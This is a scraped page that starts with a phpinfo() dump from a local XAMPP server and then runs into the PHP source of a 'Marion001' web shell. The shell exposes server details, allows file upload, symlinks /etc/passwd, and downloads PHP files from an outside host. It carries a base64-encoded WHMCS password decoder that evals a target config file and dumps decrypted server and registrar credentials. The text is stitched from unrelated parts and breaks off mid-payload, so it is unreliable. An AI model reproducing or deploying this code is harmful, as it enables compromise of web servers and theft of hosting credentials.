SHELL /bin/bash
SUDO_USER root
LC_MEASUREMENT sv_SE.UTF-8
LC_IDENTIFICATION sv_SE.UTF-8
XAMPP_ROOT /opt/lampp
PWD /home/beneri
LC_NUMERIC sv_SE.UTF-8
LC_PAPER sv_SE.UTF-8

PHP Variables

VariableValue
$_SERVER['UNIQUE_ID']YDlOkssB3wvo4Pi5fDI0rwAAAAA
$_SERVER['HTTP_HOST']localhost
$_SERVER['HTTP_USER_AGENT']Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
$_SERVER['HTTP_ACCEPT']text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
$_SERVER['HTTP_ACCEPT_LANGUAGE']en-US,en;q=0.5
$_SERVER['HTTP_ACCEPT_ENCODING']gzip, deflate
$_SERVER['HTTP_CONNECTION']keep-alive
$_SERVER['HTTP_UPGRADE_INSECURE_REQUESTS']1
$_SERVER['HTTP_CACHE_CONTROL']max-age=0
$_SERVER['PATH']/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$_SERVER['LD_LIBRARY_PATH']/opt/lampp/lib:/opt/lampp/lib
$_SERVER['SERVER_SIGNATURE']no value
$_SERVER['SERVER_SOFTWARE']Apache/2.4.37 (Unix) OpenSSL/1.0.2p PHP/7.2.12 mod_perl/2.0.8-dev Perl/v5.16.3
$_SERVER['SERVER_NAME']localhost
$_SERVER['SERVER_ADDR']127.0.0.1
$_SERVER['SERVER_PORT']80
$_SERVER['REMOTE_ADDR']127.0.0.1
$_SERVER['DOCUMENT_ROOT']/opt/lampp/htdocs
$_SERVER['REQUEST_SCHEME']http
$_SERVER['CONTEXT_PREFIX']no value
$_SERVER['CONTEXT_DOCUMENT_ROOT']/opt/lampp/htdocs
$_SERVER['SERVER_ADMIN']you@example.com
$_SERVER['SCRIPT_FILENAME']/opt/lampp/htdocs/test.php
$_SERVER['REMOTE_PORT']35610
$_SERVER['GATEWAY_INTERFACE']CGI/1.1
$_SERVER['SERVER_PROTOCOL']HTTP/1.1
$_SERVER['REQUEST_METHOD']GET
$_SERVER['QUERY_STRING']no value
$_SERVER['REQUEST_URI']/test.php
$_SERVER['SCRIPT_NAME']/test.php
$_SERVER['PHP_SELF']/test.php
$_SERVER['REQUEST_TIME_FLOAT']1614368402.139
$_SERVER['REQUEST_TIME']1614368402

PHP Credits

PHP Group
Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski
Language Design & Concept
Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger
PHP Authors
ContributionAuthors
Zend Scripting Language Engine Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov
Extension Module API Andi Gutmans, Zeev Suraski, Andrei Zmievski
UNIX Build and Modularization Stig Bakken, Sascha Schumann, Jani Taskinen
Windows Support Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen
Server API (SAPI) Abstraction Layer Andi Gutmans, Shane Caraveo, Zeev Suraski
Streams Abstraction Layer Wez Furlong, Sara Golemon
PHP Data Objects Layer Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
Output Handler Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner
Consistent 64 bit support Anthony Ferrara, Anatol Belski
SAPI Modules
ContributionAuthors
Apache 2.0 Handler Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code)
CGI / FastCGI Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov
CLI Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui
Embed Edin Kadribasic
FastCGI Process Manager Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet
litespeed George Wang
phpdbg Felipe Pena, Joe Watkins, Bob Weinand
Module Authors
ModuleAuthors
BC Math Andi Gutmans
Bzip2 Sterling Hughes
Calendar Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong
COM and .Net Wez Furlong
ctype Hartmut Holzgraefe
cURL Sterling Hughes
Date/Time Support Derick Rethans
DB-LIB (MS SQL, Sybase) Wez Furlong, Frank M. Kromann, Adam Baratz
DBA Sascha Schumann, Marcus Boerger
DOM Christian Stocker, Rob Richards, Marcus Boerger
enchant Pierre-Alain Joye, Ilia Alshanetsky
EXIF Rasmus Lerdorf, Marcus Boerger
fileinfo Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski
Firebird driver for PDO Ard Biesheuvel
FTP Stefan Esser, Andrew Skalski
GD imaging Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger
GetText Alex Plotnick
GNU GMP support Stanislav Malyshev
Iconv Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi
IMAP Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky
Input Filter Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky
InterBase Jouni Ahto, Andrew Avdeev, Ard Biesheuvel
Internationalization Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar
JSON Jakub Zelenka, Omar Kilani, Scott MacVicar
LDAP Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas
LIBXML Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo
Multibyte String Functions Tsukada Takuya, Rui Hirokawa
MySQL driver for PDO George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter
MySQLi Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel
MySQLnd Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter
OCI8 Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation
ODBC driver for PDO Wez Furlong
ODBC Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky
Opcache Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui
OpenSSL Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar
Oracle (OCI) driver for PDO Wez Furlong
pcntl Jason Greene, Arnaud Le Blanc
Perl Compatible Regexps Andrei Zmievski
PHP Archive Gregory Beaver, Marcus Boerger
PHP Data Objects Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky
PHP hash Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar
Posix Kristian Koehntopp
PostgreSQL driver for PDO Edin Kadribasic, Ilia Alshanetsky
PostgreSQL Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne
Pspell Vlad Krupin
Readline Thies C. Arntzen
Recode Kristian Koehntopp
Reflection Marcus Boerger, Timm Friebe, George Schlossnagle, Andrei Zmievski, Johannes Schlueter
Sessions Sascha Schumann, Andrei Zmievski
Shared Memory Operations Slava Poliakov, Ilia Alshanetsky
SimpleXML Sterling Hughes, Marcus Boerger, Rob Richards
SNMP Rasmus Lerdorf, Harrie Hazewinkel, Mike Jackson, Steven Lawrance, Johann Hanne, Boris Lytochkin
SOAP Brad Lafountain, Shane Caraveo, Dmitry Stogov
Sockets Chris Vandomelen, Sterling Hughes, Daniel Beulshausen, Jason Greene
Sodium Frank Denis
SPL Marcus Boerger, Etienne Kneuss
SQLite 3.x driver for PDO Wez Furlong
SQLite3 Scott MacVicar, Ilia Alshanetsky, Brad Dewar
System V Message based IPC Wez Furlong
System V Semaphores Tom May
System V Shared Memory Christian Cartus
tidy John Coggeshall, Ilia Alshanetsky
tokenizer Andrei Zmievski, Johannes Schlueter
WDDX Andrei Zmievski
XML Stig Bakken, Thies C. Arntzen, Sterling Hughes
XMLReader Rob Richards
xmlrpc Dan Libby
XMLWriter Rob Richards, Pierre-Alain Joye
XSL Christian Stocker, Rob Richards
Zip Pierre-Alain Joye, Remi Collet
Zlib Rasmus Lerdorf, Stefan Roehrich, Zeev Suraski, Jade Nicoletti, Michael Wallner
PHP Documentation
Authors Mehdi Achour, Friedhelm Betz, Antony Dovgal, Nuno Lopes, Hannes Magnusson, Philip Olson, Georg Richter, Damien Seguy, Jakub Vrana, Adam Harvey
Editor Peter Cowburn
User Note Maintainers Daniel P. Brown, Thiago Henrique Pojda
Other Contributors Previously active authors, editors and other contributors are listed in the manual.
PHP Quality Assurance Team
Ilia Alshanetsky, Joerg Behrens, Antony Dovgal, Stefan Esser, Moriyoshi Koizumi, Magnus Maatta, Sebastian Nohn, Derick Rethans, Melvyn Sopacua, Jani Taskinen, Pierre-Alain Joye, Dmitry Stogov, Felipe Pena, David Soria Parra, Stanislav Malyshev, Julien Pauli, Stephen Zarkos, Anatol Belski, Remi Collet, Ferenc Kovacs
Websites and Infrastructure team
PHP Websites Team Rasmus Lerdorf, Hannes Magnusson, Philip Olson, Lukas Kahwe Smith, Pierre-Alain Joye, Kalle Sommer Nielsen, Peter Cowburn, Adam Harvey, Ferenc Kovacs, Levi Morrison
Event Maintainers Damien Seguy, Daniel P. Brown
Network Infrastructure Daniel P. Brown
Windows Infrastructure Alex Schoenmaker

PHP License

This program is free software; you can redistribute it and/or modify it under the terms of the PHP License as published by the PHP Group and included in the distribution in the file: LICENSE

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

If you did not receive a copy of the PHP license, or have any questions about PHP licensing, please contact license@php.net.

);
} if(ini_get($smod)) { $c_h = "<font color=red face='Verdana' size='1'>ON</font>";
} else { $c_h = "<font face='Verdana' size='1' color=green>OFF</font>";
} if (''==($disfunc)) { $dis = "<font color=green>None</font>";
} else { $dis = "<font color=red>$disfunc</font>";
} if(isset($_GET['dir']) && is_dir($_GET['dir'])) { chdir($_GET['dir']);
} $ccc = realpath($_GET['chdir'])."/";
echo(base64_decode("PGxpbmsgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgaHJlZj0iaHR0cDovL3d3dy55b25sZW5kaXJpbGl5b3IuY29tL2Nlay5waHAiPg"));
echo "
<style>
body { font-size: 12px;


font-family: arial, helvetica;


scrollbar-width: 5;


scrollbar-height: 5;


scrollbar-face-color: black;


scrollbar-shadow-color: silver;


scrollbar-highlight-color: silver;


scrollbar-3dlight-color:silver;


scrollbar-darkshadow-color: silver;


scrollbar-track-color: black;


scrollbar-arrow-color: silver;


}
</style>
Marion001 - [$site]<title>Marion001 - [$site]</title>";
echo "
<table border='1' width='40%' id='table1' border='1' cellPadding=5 cellSpacing=0 borderColorDark=#666666 bordercolorlight='#C0C0C0'>

<font color='#FF0000'>
</font><font size='4'><font color='#FF0000'>
</font><font color='#FF0000'>
Marion001</font><font color='#000000'>
</font>
<font color='#0000FF'>


<td style='border: 1px solid #333333'>
<font face='Verdana' size='1' color='#000000'>Site: <u>$site</u>
Server name: <u>$sname</u>
Software: <u>$info</u>
Version : <u>$version</u>
Uname -a: <u>$uname</u>
Path: <u>$ccc</u>
Safemode: <u>$c_h</u>
Disable Functions: <u>$dis</u>
Page: <u>$page</u>
Your IP: <u>$yourip</u>
Server IP: <u><a target=_blank href='http://whois.domaintools.com/".$serverip."'>$serverip</a></u></font>

";
echo '

<font color="#0000FF">Upload ;

)
</font>
';
echo "
<input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'>
";
echo "
<input type=submit name=vbulletin value='vBulletin'><input type=submit name=mybb value='MyBB'><input type=submit name=phpbb value='phpBB'><input type=submit name=smf value='SMF'><input type=submit name=whmcs value='WHMCS'><input type=submit name=wordpress value='WordPress'><input type=submit name=joomla value='Joomla'><input type=submit name=php-nuke value='PHP-NUKE'><input type=submit name=up value='Traidnt UP'>
";
if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center">Upload Successfully :)

</p>';
} else { echo '<p align="center">Sorry You Cant :(

</p>';
} } function download_files($dir_name='shell'){ global $_POST,$_GET,$_SERVER;
if(is_dir($dir_name)){ }else{ mkdir($dir_name, 0755);
chmod("$dir_name" , 0755);
} system("$dir.ln -s /etc/passwd 11.txt");
$file = fopen("mysql.php" ,"w+");
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/mysql.txt');
$write = fwrite ($file ,$sa);
$file = fopen("sql.php" ,"w+");
$sa=file_get_contents('http://aljazeera7.com/~dzrechar/pv8L/sql.txt');
$write = fwrite ($file ,$sa);
$file = fopen($dir."11.php" ,"w+");
$sa=base64_decode('Cjw/cGhwCmVjaG8gIjxoZWFkPgo8c3R5bGU+CmJvZHkgeyBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2E7CiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWhlaWdodDogNTsKICAgICAgICAgICAgc2Nyb2xsYmFyLWZhY2UtY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7CiAgICAgICAgICAgIHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6IHNpbHZlcjsKICAgICAgICAgICAgc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6c2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOwogICAgICAgICAgICBzY3JvbGxiYXItdHJhY2stY29sb3I6IGJsYWNrOwogICAgICAgICAgICBzY3JvbGxiYXItYXJyb3ctY29sb3I6IHNpbHZlcjsKICAgIH0KPC9zdHlsZT4KPHRpdGxlPlRvMG9seiAyIC0gQ3liM3ItZHogPC90aXRsZT48L2hlYWQ+IjsKCgoKCmZ1bmN0aW9uIGRlY3J5cHQgKCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFzaCkKewoKCSRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsKCSRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsKCSRzdHJpbmcgPSBiYXNlNjRfZGVjb2RlICgkc3RyaW5nKTsKCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7Cgkkc3RyaW5nID0gc3Vic3RyICgkc3RyaW5nLCAkaGFzaF9sZW5ndGgsIHN0cmxlbiAoJHN0cmluZykgLSAkaGFzaF9sZW5ndGgpOwoJJGl2ID0gJG91dCA9ICcnOwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgJGhhc2hfbGVuZ3RoKQoJewoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7CgkJKyskYzsKCX0KCgkka2V5ID0gJGl2OwoJJGMgPSAwOwoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKCXsKCQlpZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQoJCXsKCQkJJGtleSA9IF9oYXNoICgka2V5IC4gc3Vic3RyICgkb3V0LCAkYyAtICRoYXNoX2xlbmd0aCwgJGhhc2hfbGVuZ3RoKSk7CgkJfQoKCQkkb3V0IC49IGNociAob3JkICgka2V5WyRjICUgJGhhc2hfbGVuZ3RoXSkgXiBvcmQgKCRzdHJpbmdbJGNdKSk7CgkJKyskYzsKCX0KCglyZXR1cm4gJG91dDsKfQoKCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQp7CglpZiAoZnVuY3Rpb25fZXhpc3RzICgnc2hhMScpKQoJewoJCSRoYXNoID0gc2hhMSAoJHN0cmluZyk7Cgl9CgllbHNlCgl7CgkJJGhhc2ggPSBtZDUgKCRzdHJpbmcpOwoJfQoKCSRvdXQgPSAnJzsKCSRjID0gMDsKCXdoaWxlICgkYyA8IHN0cmxlbiAoJGhhc2gpKQoJewoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsKCQkkYyArPSAyOwoJfQoKCXJldHVybiAkb3V0Owp9CgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDEgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZmlsZT0oJF9QT1NUWydmaWxlJ10pOwokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7CgokdGV4dD0gc3RyX3JlcGxhY2UoIjw/cGhwIiwgIiIsICR0ZXh0KTsKJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7CiR0ZXh0PSBzdHJfcmVwbGFjZSgiPz4iLCAiIiwgJHRleHQpOwoKZXZhbCgkdGV4dCk7CgogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkKSA7CgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7CgokcXVlcnkgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSB0YmxzZXJ2ZXJzIik7Cgp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107CiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOwokdHlwZSA9ICR2Wyd0eXBlJ107CiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107CiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOwoKZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPlR5cGU8L3RkPjx0ZD4kdHlwZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPkhvc3RuYW1lPC90ZD48dGQ+JGhvc3RuYW1lPC90ZD48L3RyPiIpOwplY2hvKCI8dHI+PHRkPklwPC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPiRwYXNzd29yZDwvdGQ+PC90cj4iKTsKCgplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKCn0KCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsKCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsKCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHJlZ2lzdHJhcnMiKTsKZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOwplY2hvKCI8dHI+PHRkPlJlZ2lzdHJhcjwvdGQ+PHRkPlNldHRpbmc8L3RkPjx0ZD5WYWx1ZTwvdGQ+PC90cj4iKTsKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokcmVnaXN0cmFyIAk9ICR2WydyZWdpc3RyYXInXTsKJHNldHRpbmcgPSAkdlsnc2V0dGluZyddOwokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKSB7CiR2YWx1ZT0wOwp9CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD4kcmVnaXN0cmFyPC90ZD48dGQ+JHNldHRpbmc8L3RkPjx0ZD4kdmFsdWU8L3RkPjwvdHI+Iik7CgoKCgoKfQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfQoKCgogaWYoJF9QT1NUWydmb3JtX2FjdGlvbiddID09IDIgKQogewogLy9pbmNsdWRlKCRmaWxlKTsKCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOwogJGRiX3VzZXJuYW1lPSgkX1BPU1RbJ2RiX3VzZXJuYW1lJ10pOwogJGRiX3Bhc3N3b3JkPSgkX1BPU1RbJ2RiX3Bhc3N3b3JkJ10pOwogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsKICRjY19lbmNyeXB0aW9uX2hhc2g9KCRfUE9TVFsnY2NfZW5jcnlwdGlvbl9oYXNoJ10pOwoKCgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOwoKd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7CgokaXBhZGRyZXNzID0gJHZbJ2lwYWRkcmVzcyddOwokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsKJHR5cGUgPSAkdlsndHlwZSddOwokYWN0aXZlID0gJHZbJ2FjdGl2ZSddOwokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsKCmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKZWNobygiPHRyPjx0ZD5UeXBlPC90ZD48dGQ+JHR5cGU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+QWN0aXZlPC90ZD48dGQ+JGFjdGl2ZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsKZWNobygiPHRyPjx0ZD5JcDwvdGQ+PHRkPiRpcGFkZHJlc3M8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+VXNlcm5hbWU8L3RkPjx0ZD4kdXNlcm5hbWU8L3RkPjwvdHI+Iik7CmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7CgoKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cgp9CgoKICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOwoJICAgIG15c3FsX3NlbGVjdF9kYigkZGJfbmFtZSwkbGluaykgOwoKJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOwplY2hvKCI8Y2VudGVyPkRvbWFpbiBSZXNlbGxlciA8YnI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CmVjaG8oIjx0cj48dGQ+UmVnaXN0cmFyPC90ZD48dGQ+U2V0dGluZzwvdGQ+PHRkPlZhbHVlPC90ZD48L3RyPiIpOwp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsKCiRyZWdpc3RyYXIgCT0gJHZbJ3JlZ2lzdHJhciddOwokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107CiR2YWx1ZSA9IGRlY3J5cHQgKCR2Wyd2YWx1ZSddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKaWYgKCR2YWx1ZT09IiIpIHsKJHZhbHVlPTA7Cn0KJHBhc3N3b3JkID0gZGVjcnlwdCAoJHZbJ3Bhc3N3b3JkJ10sICRjY19lbmNyeXB0aW9uX2hhc2gpOwplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsKCgoKCgp9CmVjaG8gIjwvdGFibGU+PGJyPjxicj48L2NlbnRlcj4iOwp9CgoKCgo/Pgo8cCBhbGlnbj0ibGVmdCI+Cjxmb250IGNvbG9yPSIjRkYwMDAwIiBzaXplPScrMyc+WyB+fiBQQCQkdzByZCBEZWMwZDNyIH5+IF08L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPjxicj4KPC9mb250Pjxicj4KPGZvbnQgc2l6ZT0iKzIiIGNvbG9yPSIjMDAwMDgwIj5TeW1saU5rIHQwIGNvbmZpZ3VyYXRpb24ucGhwIDwvZm9udD48YnI+CjwvcD4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjEiPgo8YnI+CiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImZpbGUiIHZhbHVlPSIiPgo8YnI+CjxJTlBVVCBjbGFzcz1zdWJtaXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3VibWl0IiBuYW1lPSJTdWJtaXQiPgo8L0ZPUk0+Cjxocj4KCgo8Zm9udCBjb2xvcj0iIzAwNjZGRiIgc2l6ZT0nKzInPkRCIEMwbkZpZ3VyYXRpMG4gPC9mb250Pjxicj4KPEZPUk0gYWN0aW9uPSIiICBtZXRob2Q9InBvc3QiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmb3JtX2FjdGlvbiIgdmFsdWU9IjIiPgo8YnI+Cjx0YWJsZSBib3JkZXI9MT4KCjx0cj48dGQ+ZGJfaG9zdCA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX2hvc3QiIHZhbHVlPSJsb2NhbGhvc3QiPjwvdGQ+PC90cj4KPHRyPjx0ZD5kYl91c2VybmFtZSA8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3VzZXJuYW1lIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfcGFzc3dvcmQ8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImRiX3Bhc3N3b3JkIiB2YWx1ZT0iIj48L3RkPjwvdHI+Cjx0cj48dGQ+ZGJfbmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgbmFtZT0iZGJfbmFtZSIgdmFsdWU9IiI+PC90cj4KPHRyPjx0ZD5jY19lbmNyeXB0aW9uX2hhc2g8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMzAiIG5hbWU9ImNjX2VuY3J5cHRpb25faGFzaCIgdmFsdWU9IiI+PC90ZD48L3RyPgoKPC90YWJsZT4KPGJyPgo8SU5QVVQgY2xhc3M9c3VibWl0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCIgbmFtZT0iU3VibWl0Ij4KPC9GT1JNPgo8aHI+CjxwIGFsaWduPSJsZWZ0Ij4KPGZvbnQgY29sb3I9IiMwMDY2RkYiIHNpemU9JysyJz5QYSQkdzByZCBkZWMwZGVyPC9mb250Pjxicj48L3A+Cjw/CiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMyApCiB7CgoKCiAkcGFzc3dvcmQ9KCRfUE9TVFsncGFzc3dvcmQnXSk7CgogJGNjX2VuY3J5cHRpb25faGFzaD0oJF9QT1NUWydjY19lbmNyeXB0aW9uX2hhc2gnXSk7CgoKJHBhc3N3b3JkID0gZGVjcnlwdCAoJHBhc3N3b3JkLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsKCmVjaG8oIlBhc3N3b3JkIGlzICIuJHBhc3N3b3JkKTsKCn0KPz4KPC9jZW50ZXI+CjxGT1JNIGFjdGlvbj0iIiAgbWV0aG9kPSJwb3N0Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmF